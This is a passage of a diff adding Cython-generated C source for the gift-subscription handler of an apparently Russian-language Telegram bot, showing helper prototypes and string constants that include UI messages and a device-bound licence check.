(\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* PyUnicode_Unicode.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_Unicode(PyObject *obj); + +/* PyIntCompare.proto */ +static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace); + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* UnicodeConcatInPlace.proto */ +# if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 + #if CYTHON_REFNANNY + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right, __pyx_refnanny) + #else + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right) + #endif + static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ); +#else +#define __Pyx_PyUnicode_ConcatInPlace __Pyx_PyUnicode_Concat +#endif +#define __Pyx_PyUnicode_ConcatInPlaceSafe(left, right) ((unlikely((left) == Py_None) || unlikely((right) == Py_None)) ?\ + PyNumber_InPlaceAdd(left, right) : __Pyx_PyUnicode_ConcatInPlace(left, right)) + +/* IterFinish.proto */ +static CYTHON_INLINE int __Pyx_IterFinish(void); + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* RaiseNeedMoreValuesToUnpack.proto */ +static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index); + +/* RaiseTooManyValuesToUnpack.proto */ +static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected); + +/* UnpackItemEndCheck.proto */ +static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected); + +/* RaiseNoneIterError.proto */ +static CYTHON_INLINE void __Pyx_RaiseNoneNotIterableError(void); + +/* UnpackTupleError.proto */ +static void __Pyx_UnpackTupleError(PyObject *, Py_ssize_t index); + +/* UnpackTuple2.proto */ +#define __Pyx_unpack_tuple2(tuple, value1, value2, is_tuple, has_known_size, decref_tuple)\ + (likely(is_tuple || PyTuple_Check(tuple)) ?\ + (likely(has_known_size || PyTuple_GET_SIZE(tuple) == 2) ?\ + __Pyx_unpack_tuple2_exact(tuple, value1, value2, decref_tuple) :\ + (__Pyx_UnpackTupleError(tuple, 2), -1)) :\ + __Pyx_unpack_tuple2_generic(tuple, value1, value2, has_known_size, decref_tuple)) +static CYTHON_INLINE int __Pyx_unpack_tuple2_exact( + PyObject* tuple, PyObject** value1, PyObject** value2, int decref_tuple); +static int __Pyx_unpack_tuple2_generic( + PyObject* tuple, PyObject** value1, PyObject** value2, int has_known_size, int decref_tuple); + +/* dict_iter.proto */ +static CYTHON_INLINE PyObject* __Pyx_dict_iterator(PyObject* dict, int is_dict, PyObject* method_name, + Py_ssize_t* p_orig_length, int* p_is_dict); +static CYTHON_INLINE int __Pyx_dict_iter_next(PyObject* dict_or_iter, Py_ssize_t orig_length, Py_ssize_t* ppos, + PyObject** pkey, PyObject** pvalue, PyObject** pitem, int is_dict); + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_MultiplyObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_MultiplyObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceMultiply(op1, op2) : PyNumber_Multiply(op1, op2)) +#endif + +/* PyObjectLookupSpecial.proto */ +#if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_LookupSpecialNoError(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 0) +#define __Pyx_PyObject_LookupSpecial(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 1) +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error); +#else +#define __Pyx_PyObject_LookupSpecialNoError(o,n) __Pyx_PyObject_GetAttrStrNoError(o,n) +#define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) +#endif + +/* RaiseUnboundLocalError.proto */ +static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname); + +/* ReturnWithStopIteration.proto */ +#define __Pyx_ReturnWithStopIteration(value)\ + if (value == Py_None) PyErr_SetNone(PyExc_StopIteration); else __Pyx__ReturnWithStopIteration(value) +static void __Pyx__ReturnWithStopIteration(PyObject* value); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportDottedModule.proto */ +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple); +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple); +#endif + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.gift" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.gift" +extern int __pyx_module_is_main_handlers__payments__gift; +int __pyx_module_is_main_handlers__payments__gift = 0; + +/* Implementation of "handlers.payments.gift" */ +/* #### Code section: global_var ### */ +static PyObject *__pyx_builtin_open; +/* #### Code section: string_decls ### */ +static const char __pyx_k_1[] = "1"; +static const char __pyx_k_F[] = "F"; +static const char __pyx_k_b[] = " \321\200\321\203\320\261\320\273\320\265\320\271\n\n\320\237\320\276\320\264\321\202\320\262\320\265\321\200\320\264\320\270\321\202\320\265 \320\264\320\260\321\200\320\265\320\275\320\270\320\265 \320\277\320\276\320\264\320\277\320\270\321\201\320\272\320\270."; +static const char __pyx_k_e[] = "e"; +static const char __pyx_k_f[] = "f"; +static const char __pyx_k__2[] = "\360\237\216\201 \320\237\320\276\320\264\320\260\321\200\320\270\321\202\321\214 \320\277\320\276\320\264\320\277\320\270\321\201\320\272\321\203"; +static const char __pyx_k__3[] = "\360\237\216\201 \320\234\320\276\320\270 \320\277\320\276\320\264\320\260\321\200\320\272\320\270"; +static const char __pyx_k__4[] = "\360\237\221\244 \320\233\320\270\321\207\320\275\321\213\320\271 \320\272\320\260\320\261\320\270\320\275\320\265\321\202"; +static const char __pyx_k__6[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__7[] = "\320\243 \320\262\320\260\321\201 \320\275\320\265\321\202 \320\277\320\276\320\264\320\260\321\200\320\272\320\276\320\262."; +static const char __pyx_k__9[] = "\320\224\320\260"; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_id[] = "id"; +static const char __pyx_k_Any[] = "Any"; +static const char __pyx_k__10[] = "\320\235\320\265\321\202"; +static const char __pyx_k__11[] = "\320\235\320\265 \320\260\320\272\321\202\320\270\320\262\320\270\321\200\320\276\320\262\320\260\320\275"; +static const char __pyx_k__12[] = "\360\237\216\201 \320\237\320\276\320\264\320\260\321\200\320\276\320\272 \320\275\320\260 "; +static const char __pyx_k__13[] = " "; +static const char __pyx_k__14[] = "\320\274\320\265\321\201\321\217\321\206"; +static const char __pyx_k__15[] = "\320\274\320\265\321\201\321\217\321\206\320\260"; +static const char __pyx_k__16[] = "\320\274\320\265\321\201\321\217\321\206\320\265\320\262"; +static const char __pyx_k__17[] = "\n\342\217\263 \320\230\321\201\321\202\320\265\320\272\320\260\320\265\321\202: "; +static const char __pyx_k__18[] = "\n\320\237\320\276\320\273\321\203\321\207\320\260\321\202\320\265\320\273\321\214: "; +static const char __pyx_k__19[] = "\n\320\230\321\201\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\320\275: "; +static const char __pyx_k__20[] = "\n\n"; +static const char __pyx_k__23[] = " \320\267\320\260 "; +static const char __pyx_k__24[] = " \321\200\321\203\320\261\320\273\320\265\320\271"; +static const char __pyx_k__26[] = "|"; +static const char __pyx_k__27[] = "\320\235\320\265\320\262\320\265\321\200\320\275\321\213\320\271 \320\262\321\213\320\261\320\276\321\200. \320\237\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \321\201\320\275\320\276\320\262\320\260."; +static const char __pyx_k__29[] = "\342\235\214 \320\243 \320\262\320\260\321\201 \320\275\320\265\320\264\320\276\321\201\321\202\320\260\321\202\320\276\321\207\320\275\320\276 \321\201\321\200\320\265\320\264\321\201\321\202\320\262 \320\264\320\273\321\217 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\321\217 \320\277\320\276\320\264\320\260\321\200\320\272\320\260. \320\237\320\265\321\200\320\265\320\271\320\264\320\270\321\202\320\265 \320\262 \320\273\320\270\321\207\320\275\321\213\320\271 \320\272\320\260\320\261\320\270\320\275\320\265\321\202 \320\264\320\273\321\217 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217 \320\261\320\260\320\273\320\260\320\275\321\201\320\260."; +static const char __pyx_k__30[] = "\342\234\205 \320\237\320\276\320\264\321\202\320\262\320\265\321\200\320\264\320\270\321\202\321\214"; +static const char __pyx_k__31[] = "\342\235\214 \320\236\321\202\320\274\320\265\320\275\320\260"; +static const char __pyx_k__33[] = "\342\235\214 \320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\264\320\260\321\200\320\265\320\275\320\270\320\270 \320\277\320\276\320\264\320\277\320\270\321\201\320\272\320\270: "; +static const char __pyx_k__34[] = "\n\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\277\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \321\201\320\275\320\276\320\262\320\260."; +static const char __pyx_k__36[] = "\n"; +static const char __pyx_k__40[] = "\320\221\320\276\321\202 \320\261\321\213\320\273 \320\260\320\272\321\202\320\270\320\262\320\270\321\200\320\276\320\262\320\260\320\275 \320\275\320\265 \320\275\320\260 \321\215\321\202\320\276\320\274 \321\203\321\201\321\202\321\200\320\276\320\271\321\201\321\202\320\262\320\265. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260 \320\276\320\261\321\200\320\260\321\202\320\270\321\202\320\265\321\201\321\214 \320\262 \320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\321\203"; +static const char __pyx_k__42[] = "\320\222\320\260\321\210 \320\261\320\276\321\202 \321\203\321\201\320\277\320\265\321\210\320\275\320\276 \320\260\320\272\321\202\320\270\320\262\320\270\321\200\320\276\320\262\320\260\320\275!."; +static const char __pyx_k__43[] = "\320\236\321\210\320\270\320\261\320\272\320\260: "; +static const char __pyx_k__44[] = "\320\237\320\276\320\273\321\203\321\207\320\270\321\202\320\265 \320\272\320\276\320\264 \320\275\320\260 \321\201\320\260\320\271\321\202\320\265."; +static const char __pyx_k__46[] = "*"; +static const char __pyx_k__47[] = "."; +static const char __pyx_k__58[] = "?"; +static const char __pyx_k_b_2[] = "\360\237\216\211 \320\237\320\276\320\264\320\277\320\270\321\201\320\272\320\260 \320\275\320\260 "; +static const char __pyx_k_b_b[] = "\320\224\320\260\321\200\320\270\321\202\320\265 \320\277\320\276\320\264\320\260\321\200\320\272\320\270 \320\270 \321\201\320\273\320\265\320\264\320\270\321\202\320\265, \321\207\321\202\320\276\320\261\321\213 \320\276\320\275\320\270 \320\264\320\276\321\210\320\273\320\270 \320\264\320\276 \320\260\320\264\321\200\320\265\321\201\320\260\321\202\320\260! \360\237\216\204"; +static const char __pyx_k_get[] = "get"; +static const char __pyx_k_hex[] = "hex"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_None[] = "None"; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_code[] = "\n\n\320\236\320\275\320\260 \320\260\320\272\321\202\320\270\320\262\320\270\321\200\321\203\320\265\321\202 \320\277\320\276\320\264\320\277\320\270\321\201\320\272\321\203 \320\275\320\260 \321\203\320\272\320\260\320\267\320\260\320\275\320\275\321\213\320\271 \321\201\321\200\320\276\320\272."; +static const char __pyx_k_data[] = "data"; +static const char __pyx_k_days[] = "days"; +static const char __pyx_k_exit[] = "__exit__"; +static const char __pyx_k_gift[] = "gift"; +static const char __pyx_k_info[] = "info"; +static const char __pyx_k_json[] = "json"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_open[] = "open"; +static const char __pyx_k_post[] = "post"; +static const char __pyx_k_read[] = "read"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_spec[] = "__spec__"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_uuid[] = "uuid"; +static const char __pyx_k_aexit[] = "__aexit__"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_b_b_2[] = "\320\222\320\260\321\210\320\270 \320\277\320\276\320\264\320\260\321\200\320\272\320\270:\n\n"; +static const char __pyx_k_b_b_3[] = "\320\222\321\213\320\261\320\265\321\200\320\270\321\202\320\265 \321\201\321\200\320\276\320\272 \320\277\320\276\320\264\320\277\320\270\321\201\320\272\320\270 \320\264\320\273\321\217 \320\277\320\276\320\264\320\260\321\200\320\272\320\260:"; +static const char __pyx_k_b_b_4[] = "\n\320\241\321\202\320\276\320\270\320\274\320\276\321\201\321\202\321\214: "; +static const char __pyx_k_b_b_b[] = "\320\237\320\276\320\264\321\202\320\262\320\265\321\200\320\266\320\264\320\265\320\275\320\270\320\265 \320\277\320\276\320\264\320\260\321\200\320\272\320\260:\n\320\237\320\276\320\264\320\277\320\270\321\201\320\272\320\260 \320\275\320\260 "; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_enter[] = "__enter__"; +static const char __pyx_k_fetch[] = "fetch"; +static const char __pyx_k_gifts[] = "gifts"; +static const char __pyx_k_items[] = "items"; +static const char __pyx_k_price[] = "price"; +static const char __pyx_k_shell[] = "shell"; +static const char __pyx_k_split[] = "split"; +static const char __pyx_k_state[] = "state"; +static const char __pyx_k_strip[] = "strip"; +static const char __pyx_k_tg_id[] = "tg_id"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_types[] = "types"; +static const char __pyx_k_uuid4[] = "uuid4"; +static const char __pyx_k_Router[] = "Router"; +static const char __pyx_k_aenter[] = "__aenter__"; +static const char __pyx_k_answer[] = "answer"; +static const char __pyx_k_b_code[] = " \320\266\320\264\321\221\321\202 \320\260\320\272\321\202\320\270\320\262\320\260\321\206\320\270\320\270!\n\n\360\237\222\214 \320\236\321\202\320\277\321\200\320\260\320\262\321\214\321\202\320\265 \321\215\321\202\321\203 \321\201\321\201\321\213\320\273\320\272\321\203 \320\277\320\276\320\273\321\203\321\207\320\260\321\202\320\265\320\273\321\216:\n\n "; +static const char __pyx_k_code_2[] = "code"; +static const char __pyx_k_config[] = "config"; +static const char __pyx_k_decode[] = "decode"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_encode[] = "encode"; +static const char __pyx_k_gift_2[] = "gift|"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_logger[] = "logger"; +static const char __pyx_k_months[] = "months"; +static const char __pyx_k_result[] = "result"; +static const char __pyx_k_router[] = "router"; +static const char __pyx_k_sha256[] = "sha256"; +static const char __pyx_k_status[] = "status"; +static const char __pyx_k_system[] = "system"; +static const char __pyx_k_typing[] = "typing"; +static const char __pyx_k_utcnow[] = "utcnow"; +static const char __pyx_k_Windows[] = "Windows"; +static const char __pyx_k_aiogram[] = "aiogram"; +static const char __pyx_k_aiohttp[] = "aiohttp"; +static const char __pyx_k_balance[] = "balance"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_gift_id[] = "gift_id"; +static const char __pyx_k_hashlib[] = "hashlib"; +static const char __pyx_k_is_used[] = "is_used"; +static const char __pyx_k_message[] = "message"; +static const char __pyx_k_payload[] = "payload"; +static const char __pyx_k_profile[] = "profile"; +static const char __pyx_k_session[] = "session"; +static const char __pyx_k_success[] = "success"; +static const char __pyx_k_database[] = "database"; +static const char __pyx_k_datetime[] = "datetime"; +static const char __pyx_k_my_gifts[] = "my_gifts"; +static const char __pyx_k_platform[] = "platform"; +static const char __pyx_k_response[] = "response"; +static const char __pyx_k_strftime[] = "strftime"; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_d_m_Y_H_M[] = "%d-%m-%Y %H:%M"; +static const char __pyx_k_from_user[] = "from_user"; +static const char __pyx_k_gift_link[] = "gift_link"; +static const char __pyx_k_hexdigest[] = "hexdigest"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_recipient[] = "recipient"; +static const char __pyx_k_timedelta[] = "timedelta"; +static const char __pyx_k_CRYPTOSALE[] = "CRYPTOSALE"; +static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_gifts_text[] = "gifts_text"; +static const char __pyx_k_show_alert[] = "show_alert"; +static const char __pyx_k_startswith[] = "startswith"; +static const char __pyx_k_subprocess[] = "subprocess"; +static const char __pyx_k_user_tg_id[] = "user_tg_id"; +static const char __pyx_k_CLIENT_CODE[] = "CLIENT_CODE"; +static const char __pyx_k_expiry_time[] = "expiry_time"; +static const char __pyx_k_get_balance[] = "get_balance"; +static const char __pyx_k_hardware_id[] = "hardware_id"; +static const char __pyx_k_ud83c_udf81[] = "\\ud83c\\udf81 "; +static const char __pyx_k_21U68SOLOBOT[] = "21U68SOLOBOT"; +static const char __pyx_k_STARS_ROUTER[] = "STARS_ROUTER"; +static const char __pyx_k_check_output[] = "check_output"; +static const char __pyx_k_confirm_gift[] = "confirm_gift|"; +static const char __pyx_k_initializing[] = "_initializing"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char 